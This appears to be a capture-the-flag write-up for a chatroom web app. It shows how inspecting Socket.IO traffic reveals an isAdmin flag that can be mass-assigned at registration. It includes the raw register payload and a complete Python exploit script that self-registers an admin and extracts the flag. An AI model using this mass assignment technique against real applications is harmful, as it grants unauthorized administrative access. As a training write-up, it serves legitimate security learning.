Challenge Overview
This challenge presents a chatroom application with a mass assignment vulnerability, allowing anyone to register an administrative user.
Initial Reconnaissance
When first approaching this challenge, I started by examining the application structure:
- Login Feature: Disabled due to “being new”.
- Main Chatroom: Displaying usernames and messages
- Registration Feature: Enabled, asking for username and password
Since the challenge is black box, there are no files to examine, meaning we have to interact with the site to find the vulnerability.
Vulnerability Discovery
Step 1: Finding the Websocket
When looking around the site, the first thing that is seen is the main chat room window. By opening Inspect element, we can see the imported websocket library in the head tag. This means we should open the Network tab and look at the websocket requests
Step 2: Examining the Requests
Looking at the requests, we can see that username is being is, in addition to an isAdmin flag, which might be important to become an admin.
Example of chatroom traffic: 42[“data”,{“user”:”TungTungTungSahur”,”msg”:”Gangnam style”,”isAdmin”:false,”image”:”static/images/TungTungTungSahur.png”}]
Additionally, when we try to register a user, we get rejected since only admins are allowed to be registered. By looking at the traffic, we can see that ‘username’ and ‘password’ fields are being passed.
Example of registration traffic: 42[“register”,{“username”:”s”,”password”:”a”}]
With everything that we know, a possible vulnerability could be mass assignment through the isAdmin parameter.
Exploitation Strategy
Mass Assignment
Through a proxy (like BurpSuite) or through a script, we send a request of
[“register”,{“username”:”s”,”password”:”a”, “isAdmin”: True}]
which returns a redirect to the admin page. When we access the admin page, we are greeted with the flag.
Complete Exploit Code
#!/usr/bin/env python3
import socketio
import requests
import re
sio = socketio.Client()
url = None
# Regex for flag
def getFlag(url):
response = requests.get(url)
flag = re.search(r'MetaCTF\{[^}]+\}', response.text)
print(f"Flag: {flag.group(0)}")
#
@sio.on('action_response')
def on_response(data):
redirect = data['redirect']
sio.disconnect()
getFlag(url + redirect)
def main():
global url
url = input("Whats the url?: ")
if url.startswith("http://") or url.startswith("https://"):
sio.connect(url)
sio.emit('register', {
'username': 'admin',
'password': 'secret',
'isAdmin': True
})
sio.wait()
else:
print("Error: Please add full url.\nEx: http://localhost:5000")
if __name__ == "__main__":
main()